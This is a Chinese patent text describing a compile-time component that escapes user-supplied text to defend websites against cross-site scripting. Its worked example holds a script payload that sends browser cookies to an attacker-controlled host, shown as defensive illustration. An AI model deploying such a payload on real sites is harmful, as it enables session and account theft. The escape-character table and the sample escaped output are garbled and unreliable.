专利名称:主动防御xss攻击的数据防御组件生成方法及其装置的制作方法
主动防御XSS攻击的数据防御组件生成方法及其装置技术领域
本发明属于网站安全领域,特别是一种主动防御XSS攻击的数据防御组件生成方 法及其装置。
背景技术:
在各种网站安全漏洞中,跨站脚本攻击(Cross Site Script,即XSS攻击)是危 害比较严重的。跨站脚本攻击是指攻击者在有漏洞的网站中插入恶意的可执行脚本(包含 javascript, flash, css等)以欺骗用户执行。一旦用户浏览了此页面,嵌入其中的恶意脚 本就会执行,攻击者通过这种方式达到恶意危害用户目的,如盗取各类用户帐号,控制企业 数据,包括具有读取、篡改、添加、删除企业敏感数据的能力,盗窃企业重要的、具有商业价 值的资料,非法转账,强制发送电子邮件,控制受害者机器向其它网站发起攻击等。
针对XSS攻击,目前提出了一些检测XSS攻击方法,在这方面有专利“一种检测数 据库是否遭到跨站脚本攻击的方法及装置”(专利申请号200910085040. X),通过捕获提交 到数据库服务器的数据包,从中提出SQL语句,如果提出的SQL语句为包含修改数据库字段 内容的语句,则判断此SQL语句中是否含有跨站脚本攻击行为,如果有则判定数据库被跨 站脚本攻击,从而检测出数据库所遭受的XSS攻击。专利“应用遗传算法自动生成XSS跨站 点脚本漏洞检测参数的方法”(专利申请号201010242794. 4),设计了一套检测参数集、编 码解码策略和攻击参数数据库,以及XSS模拟攻击操作,使用遗传算法的交叉、变异、选择, 通过模拟攻击操作的反馈结果和基因编码策略,不断生成新的父代和子代,循环执行算法 直到达到预期的代数,通过这种方法自动生成有效的XSS攻击检测参数。
这2个专利提出的方法都是用于对XSS攻击的检测,而没有提出有效的针对XSS 攻击的防御方法。
在防御XSS攻击方面,在这方面发表的主要文献有在《计算机系统应用》2010年 第19卷第2期发表的《客户端跨站脚本攻击的分层防御策略》,此文献提出的分层防御策 略是建立在客户端,并且带有一个XSS信息数据库,首先将来自服务器端的数据接收到客 户端浏览器后,不立即进行编译,而是把数据发送到一个分析模块,在此模块中,分层防御 策略会使用4个层次的筛选对网页内容的安全性进行分析和比对,对其中存在安全风险网 页,将把其IP地址发送到XSS信息数据库中保存,并同时通知用户,避免恶意Script代码 的执行,从而保证用户安全。由于这种方法把分析模块和XSS信息数据库植入到本地计算 机,因此需要时常保持对XSS数据库的更新,否则就不能有效防御新的XSS攻击,而且这种 防御方式属于被动防御,XSS信息数据库更新时间差有可能导致XSS攻击得逞,不能主动进 行防御。
对于大型网站来说,日访问量是相当大的,如果不能实现事先主动防御XSS攻击, 而留在事后处理的话,对网站的访问者造成了潜在的威胁。
因此,对XSS攻击进行主动防御是非常必要的。
发明内容
本发明的目的在于提供一种能够主动防御,能够对防御代码及时调整扩展,使网站快速、实时地应对不断变化的XSS攻击,通用性强,大大提升了网站的开发效率,提升了网站的安全性的主动防御XSS攻击的数据防御组件生成方法及其装置。实现本发明目的的技术解决方案为
一种主动防御XSS攻击的数据防御组件生成方法,包括以下步骤
步骤一数据结构读取模块访问数据库服务器,读取网站的数据库表结构,形成简单数据传输对象,并用防御代码标识模块在简单数据传输对象中加入防御标识;
步骤二 用防御编译器定制防御编译器组件代码;
步骤三将防御编译器组件代码插入到标准编译器组件序列;
步骤四在标准编译器中进行编译,防御编译器组件会被执行,形成数据防御组件,其中包含有防御代码以及防御代码执行的触发条件,保存在数据传递器的防御配置子单元中。步骤一包括以下具体步骤
(1)通过数据结构读取模块,访问数据库服务器,读取网站的数据库表结构;
(2)利用代码生成组件,将读取的网站数据库表结构生成简单数据传输对象;
(3)防御代码标识模块自动选择类型为文本字符串的属性,加入防御标识;
其中,所述的代码生成组件是以插件的形式提供,用来形成表述的简单数据传输对象的代码;所述的简单数据传输对象本身通过代码的形成存在,用来映射网站的数据库表结构,其中包含数据部分和数据获取部分;所述防御标识是指在简单数据传输对象中的文本属性中加入能够为编译器所理解的标志,用以在编译程序时指定嵌入防御代码的位置。步骤二包括以下具体步骤
(1)编写防御代码,将编写好的防御代码存入到防御代码管理模块中,防御代码的作用是检测用户输入的内容中是否含有可执行脚本,如果有,就对这些可执行脚本代码进行转义处理,使其输出内容为单纯的普通字符串;
(2)编写防御代码触发条件,判断运行环境是否是渲染HTML状态,如果是渲染HTML状态,则执行预定义好的防御代码;
(3)防御编译器在简单数据传输对象中寻找防御标识,找到防御标识后,将防御编译器组件代码插入到数据获取方法中;其中防御编译器组件代码是指增强标准编译器的编译行为,可根据安全期望,独立定制的具有防御能力的最终执行程序的行为,包含有防御代码和防御代码触发条件;
一种数据防御组件生成器,包括数据结构读取模块、防御代码标识模块、防御编译器、标准编译器、防御代码管理模块,其中数据结构读取模块、防御代码标识模块、防御编译器、标准编译器依次连接,防御代码管理模块与防御编译器连接。本发明与现有技术相比,其显著优点1、XSS攻击防御编码被植入到在数据实体的数据获取部分的可执行程序中,在页面进行渲染时,植入的防御代码会自动执行,起到了服务器主动防御的作用。2、扩展性强。方便增加新的防御标识,从而增加与之对应的新防御代码,有利于防御方法的调整扩展。
3、通用性强,这种防御XSS攻击方法与业务处理程序是相互独立的,可以方便应用到各种第三方网站中,与研发所使用语言以及工具无关。4、无需编码人员对网站每个页面进行防御处理,也无需测试人员每次对防御处理编码进行测试,减少了人工处理可能出错或者是偶尔缺漏的风险,提升了网站的开发效率,减少人员的投入,提升网站的安全性。下面结合附图对本发明作进一步详细描述。
图1为本发明方法的流程图。图2为本发明数据防御组件生成器的结构示意图。图3为不进行XSS攻击防御处理。图4为进行XSS攻击防御处理。图5为数据实体的组成示意图。图6为服务器主动防御XSS攻击的过程结构示意图。。
具体实施例方式如图1和图2所示,本发明一种主动防御XSS攻击的数据防御组件生成方法,包括以下步骤
步骤一数据结构读取模块访问数据库服务器,读取网站的数据库表结构,形成简单数据传输对象,并用防御代码标识模块在简单数据传输对象中加入防御标识;
步骤二 用防御编译器定制防御编译器组件代码;
步骤三将防御编译器组件代码插入到标准编译器组件序列;
步骤四在标准编译器中进行编译,防御编译器组件会被执行,形成数据防御组件,其中包含有防御代码以及防御代码执行的触发条件,保存在数据传递器的防御配置子单元中。步骤一包括以下具体步骤
(1)通过数据结构读取模块,访问数据库服务器,读取网站的数据库表结构;
(2)利用代码生成组件,将读取的网站数据库表结构生成简单数据传输对象;
(3)防御代码标识模块自动选择类型为文本字符串的属性,加入防御标识;
其中,所述的代码生成组件是以插件的形式提供,用来形成表述的简单数据传输对象的代码;所述的简单数据传输对象本身通过代码的形成存在,用来映射网站的数据库表结构,其中包含数据部分和数据获取部分;所述防御标识是指在简单数据传输对象中的文本属性中加入能够为编译器所理解的标志,用以在编译程序时指定嵌入防御代码的位置。步骤二包括以下具体步骤
(1)编写防御代码,将编写好的防御代码存入到防御代码管理模块中,防御代码的作用是检测用户输入的内容中是否含有可执行脚本,如果有,就对这些可执行脚本代码进行转义处理,使其输出内容为单纯的普通字符串;
(2)编写防御代码触发条件,判断运行环境是否是渲染HTML状态,如果是渲染HTML状态,则执行预定义好的防御代码;(3)防御编译器在简单数据传输对象中寻找防御标识,找到防御标识后,将防御编译器组件代码插入到数据获取方法中;其中防御编译器组件代码是指增强标准编译器的编译行为,根据安全期望,独立定制的具有防御能力的最终执行程序的行为,包含有防御代码和防御代码触发条件;
本发明一种数据防御组件生成器,包括数据结构读取模块、防御代码标识模块、防御编译器、标准编译器、防御代码管理模块,其中数据结构读取模块、防御代码标识模块、防御编译器、标准编译器依次连接,防御代码管理模块与防御编译器连接。本发明的方法实现步骤如下
步骤一访问数据库服务器,读取网站的数据库表结构,形成简单数据传输对象(Simple Data Transfer Object),并在简单数据传 输对象中加入防御标识。(I)通过数据结构读取模块,访问数据库服务器,读取网站的数据库表结构;
(2)利用代码生成组件,将读取的网站的数据库表结构生成简单数据传输对象; 所述代码生成组件以独立插件的形式提供,用来形成表述的简单数据传输对象的代
码。所述简单数据传输对象本身通过代码的形式存在,用来映射网站的数据库表结构。(3)本方法采用的安全策略数据库表定义中的存储文本字符串的全部字段都需要进行XSS攻击防御处理。由于简单数据传输对象中的任何一个属性都对应数据库表中的一个字段,标识器自动选择类型为文本字符串的属性,加入防御标识。所述防御标识是指在简单数据传输对象中的特定属性加入能够为编译器所理解的特定标志,用以在编译程序时指定嵌入防御代码的位置。步骤二 定制防御编译器组件。(I)编写防御代码,并把防御代码保存在防御代码管理器中。防御代码的功能检测用户输入的内容中是否含有可执行脚本,如果有,就对这些可执行脚本代码进行转义处理,使其输出内容为单纯的普通字符串。例如,网页显示过程中,HTML中一些字符(如〈,>,&等)包含有特殊含义,一般是不会直接在页面上显示的,它们会被客户端浏览器作为javascript脚本来执行,或者是作为HTML标签来进行显示处理。要想在浏览器中展示出文本内容“<br>”,就需要按照下列字符列表进行转义处理。HTML特殊转义字符列表
'显示I说明I实体名称I实体编号-
_半方大的空白  
圣方大的空白  
禾無行的空白格一  
< _ 小于<<
> '大于>>
& & 符号&&
" ■双引号""
版权©©
_已注册商标_®®
爾标(美国)TM™
X 乘号××
+ I 除号|÷|÷ 如果直接HTML代码中输入“<br>”,则会被客户端浏览器认为是换行符号,作为换行显示。因此必须将“<br>”转义处理,转换成“< br> ”后,浏览器就会识别出转义符号,展示出“ <br> ”的文本内容,而不是作为换行显示。本方法防御代码执行,就是将所有的特殊含义的字符全部参照转义序列进行转义,从而在浏览器中显示所需要的单纯的文本内容。(2)防御编译器开始在简单数据传输对象中寻找防御标识,找到防御标识后,将如下防御编译器组件代码插入到简单传输对象的数据获取方法中,此组件代码包含有防御代码的触发条件数据实体判断运行环境是否是渲染HTML状态,如果是渲染HTML状态,则执行预定义好的防御代码。所述数据实体,对应数据库表中的数据记录。(3)根据(2)中的行为,在防御编译器中形成防御编译器组件。通过MAVEN2的aspectj组件配置防御编译器组件。所述防御编译器组件,是指增强标准编译器的编译行为,根据安全期望,独立定制的具有防御能力的最终执行程序的行为,包含有防御代码和防御代码触发条件;
步骤三将防御编译器组件插入到标准编译器组件序列。步骤四在标准编译器中进行编译,防御编译器组件会被执行,形成数据防御组件,其中包含有防御代码以及防御代码执行的触发条件,保存在数据传递器的防御配置子单元中。
如图6所示,服务器主动防御XSS攻击的过程结构示意图。包括数据库服务器、网站服务器、组件专用工作站。这三者两两相连。数据库服务器,用于保存网站服务器的所有数据。组件专用工作站,用于生成各类组件,其中数据防御组件生成器在组件专用工作站上运行。数据防御组件生成器,用于从数据库服务器读取网站数据库的库表结构,形成简单数据传输对象,并给简单数据传输对象加入防御标识,植入防御代码,编译后,数据防御组件,作为防御配置保存。网站服务器,用于实现网站中的各项功能。其中数据传递器、业务逻辑处理器、页面渲染器都在网站服务器上运行。数据传递器、业务逻辑处理器、页面渲染器依次连接。数据传递器,用于读取数据库服务器中的网站数据记录,把数据记录转换成数据实体,并根据防御配置,将数据实体内部具有防御标识的数据获取方法中植入防御代码。业务逻辑处理器,用于对数据实体中的数据进行业务计算、处理。页面渲染器,用于读取经过业务逻辑处理器业务处理、计算后的数据实体,进行页面显示处理。
本方法对XSS攻击的防御流程如下
步骤一数据传递器访问数据库服务器,读取数据库中的数据记录,并把所读取的数据记录转换成数据实体。数据实体分为3部分(如图5所示)数据部分、数据获取部分、状态判断部分。其中状态判断部分主要用于判断2种状态业务处理状态、数据渲染状态。
步骤二 找到与简单传输对象中防御标识对应的数据实体的数据,在其对应的数据获取部分附加上XSS攻击防御代码。步骤三包含有XSS攻击防御代码的数据实体由数据传递器传送到业务逻辑器,数据实体中的状态判断器先判断业务逻辑器的状态,为业务处理状态,在这种状态下,不进行XSS攻击防御处理,数据实体的数据获取部分直接读取数据实体中数据部分的数据,在业务逻辑器内进行相关的业务处理、计算,经过业务处理和计算的相关结果要重新写入数据实体中的数据部分。步骤四经过业务处理、计算的数据实体,被传送到页面渲染器,进行XSS攻击防御处理。
(I)页面渲染器的接收器接收到经过业务处理、计算后的数据实体。(2)数据实体中的状态判断部分先判断页面渲染器的状态,为数据渲染状态。(3)在这种状态下,数据实体的数据获取部分读取数据部分的数据过程中,满足了防御代码的触发条件,进行XSS攻击防御处理,执行在数据实体的数据获取部分中植入的防御代码。(4)将数据实体的对应数据通过转义处理,变换成单纯的普通字符串。(5)获得变换后的数据,进行页面渲染处理。下面模拟一次对网站的XSS攻击以及防御实例
在一个网站中,允许注册用户输入自己公司的公司介绍和产品介绍进行互联网推广,在这种情况下,很可能有恶意攻击者在公司介绍信息中或产品介绍信息中嵌入XSS攻击代码。例如,在公司介绍中输入
“1996年,本公司从南京起步,15年来始终秉承“为客户提供优质服务”的服务理念,始终以客户为中心,视客户为一起成长的亲密伙伴。既然承接了客户交付的信任,就一定不能辜负这份信任,帮助客户获得生意的成功。<script>window. open (’ http: //www. aabb. net/cookie. asp msg=’ +document,cookie)</script>
如今,作为一家国内规模最大的民营企业,公司依然保持锐意进取、注重品质的态度,始终坚持自主开发,优化成本,强化人才战略和技术创新等举措来打造更优化的网络和标准化体系,为客户提供快速高效、便捷及时、安全可靠的服务体验,助力客户创造最大的价
值。”
其中,
“〈script>window. open (' http ://www. aabb. net/cookie. asp msg=’ +document,cookie)〈/script〉”是恶意攻击者嵌入在公司介绍内容中的XSS攻击代码,www. aabb. net是恶意攻击者制作的网站。在没有防御的情况下
(O当注册用户访问以上公司介绍内容时,这部分内容从数据库服务器中取出。(2)在网站服务器上经过业务逻辑处理,并形成页面数据,并发送到客户端浏览器上。(3)浏览器接收到页面数据,展示公司内容,同时执行了嵌入其中的XSS攻击代码,并打开一个新的浏览器窗口,进入到网站WWW. aabb. net。在浏览器上的显示内容为
“1996年,本公司从南京起步,15年来始终秉承“为客户提供优质服务”的服务理念,始终以客户为中心,视客户为一起成长的亲密伙伴。既然承接了客户交付的信任,就一定不能辜负这份信任,帮助客户获得生意的成功。如今,作为一家国内规模最大的民营企业,公司依然保持锐意进取、注重品质的态度,始终坚持自主开发,优化成本,强化人才战略和技术创新等举措来打造更优化的网络和标准化体系,为客户提供快速高效、便捷及时、安全可靠的 服务体验,助力客户创造最大的价值。”
(4)一旦这个XSS攻击代码被执行,将获取注册用户浏览器上的cookie信息。(5)把这个cookie信息传送到恶意攻击者制作的网站www. aabb. net上。(6)恶意攻击者获得了注册用户的cookie信息,从而得到注册用户的帐号和密码,就可以非法操作注册用户的信息,例如,盗取注册用户的信息,篡改注册用户的帐号信息、以注册用户的身份恶意提交信息等,从而对注册用户造成危害。在服务器主动防御的情况下
(O当注册用户访问以上公司介绍内容时,这部分内容从数据库服务器中取出。(2)在网站服务器上形成数据实体,公司信息被保存在数据实体的数据部分,防御代码被植入到数据实体的数据获取部分。(3)在经过业务逻辑处理后,要进行页面渲染时,防御代码被执行。把在公司信息中嵌入的XSS攻击代码
“ <script>window.open ('http ://www.aabb.net/cookie.asp msg=’ +document,cookie) </script>,,
转换成
α&1 ;script>window.open("http://dlgy1.rrvv. net/cookie.asp msg="+document, cookie)</script>”
(4)经过变换之后,XSS攻击代码将会在浏览器中以单纯文本字符串的形式显示,不再具有危害。在浏览器上的显示内容为
“1996年,本公司从南京起步,15年来始终秉承“为客户提供优质服务”的服务理念,始终以客户为中心,视客户为一起成长的亲密伙伴。既然承接了客户交付的信任,就一定不能辜负这份信任,帮助客户获得生意的成功。<script>window. open (’ http: //www. aabb. net/cookie. asp msg=’ +document,cookie)</script>
如今,作为一家国内规模最大的民营企业,公司依然保持锐意进取、注重品质的态度,始终坚持自主开发,优化成本,强化人才战略和技术创新等举措来打造更优化的网络和标准化体系,为客户提供快速高效、便捷及时、安全可靠的服务体验,助力客户创造最大的价
值。”
权利要求
1.一种主动防御XSS攻击的数据防御组件生成方法,其特征在于,包括以下步骤步骤一数据结构读取模块访问数据库服务器,读取网站的数据库表结构,形成简单数据传输对象,并用防御代码标识模块在简单数据传输对象中加入防御标识;步骤二 用防御编译器定制防御编译器组件代码;步骤三将防御编译器组件代码插入到标准编译器组件序列;步骤四在标准编译器中进行编译,防御编译器组件会被执行,形成数据防御组件,其中包含有防御代码以及防御代码执行的触发条件,保存在数据传递器的防御配置子单元中。
2.根据权利要求1所述的一种主动防御XSS攻击的数据防御组件生成方法,其特征在于,所述的步骤一包括以下具体步骤(1)通过数据结构读取模块,访问数据库服务器,读取网站的数据库表结构;(2)利用代码生成组件,将读取的网站数据库表结构生成简单数据传输对象;(3)防御代码标识模块自动选择类型为文本字符串的属性,加入防御标识;其中,所述的代码生成组件是以插件的形式提供,用来形成表述的简单数据传输对象的代码;所述的简单数据传输对象本身通过代码的形成存在,用来映射网站的数据库表结构,其中包含数据部分和数据获取部分;所述防御标识是指在简单数据传输对象中的文本属性中加入能够为编译器所理解的标志,用以在编译程序时指定嵌入防御代码的位置。
3.根据权利要求1所述的一种主动防御XSS攻击的数据防御组件生成方法,其特征在于,所述的步骤二包括以下具体步骤(1)编写防御代码,将编写好的防御代码存入到防御代码管理模块中,防御代码的作用是检测用户输入的内容中是否含有可执行脚本,如果有,就对这些可执行脚本代码进行转义处理,使其输出内容为单纯的普通字符串;(2)编写防御代码触发条件,判断运行环境是否是渲染HTML状态,如果是渲染HTML状态,则执行预定义好的防御代码;(3)防御编译器在简单数据传输对象中寻找防御标识,找到防御标识后,将防御编译器组件代码插入到数据获取方法中;其中防御编译器组件代码是指增强标准编译器的编译行为,可根据安全期望,独立定制的具有防御能力的最终执行程序的行为,包含有防御代码和防御代码触发条件。
4.一种数据防御组件生成器,其特征在于包括数据结构读取模块、防御代码标识模块、防御编译器、标准编译器、防御代码管理模块,其中数据结构读取模块、防御代码标识模块、防御编译器、标准编译器依次连接,防御代码管理模块与防御编译器连接。
全文摘要
本发明公开了一种主动防御XSS攻击的数据防御组件生成方法及其装置,方法包括形成简单数据传输对象并加入防御标识;定制防御编译器组件代码;将防御编译器组件代码插入到标准编译器组件序列;形成数据防御组件等步骤;本装置包括数据结构读取模块、防御代码标识模块、防御编译器、标准编译器、防御代码管理模块,其中数据结构读取模块、防御代码标识模块、防御编译器、标准编译器依次连接,防御代码管理模块与防御编译器连接;本发明能够对防御代码及时调整扩展,使网站快速、实时地应对不断变化的XSS攻击,通用性强,大大提升了网站的开发效率,提升了网站的安全性。
文档编号G06F17/30GK102999723SQ20121047438
公开日2013年3月27日 申请日期2012年11月20日 优先权日2012年11月20日
发明者杨昕, 葛亮 申请人:焦点科技股份有限公司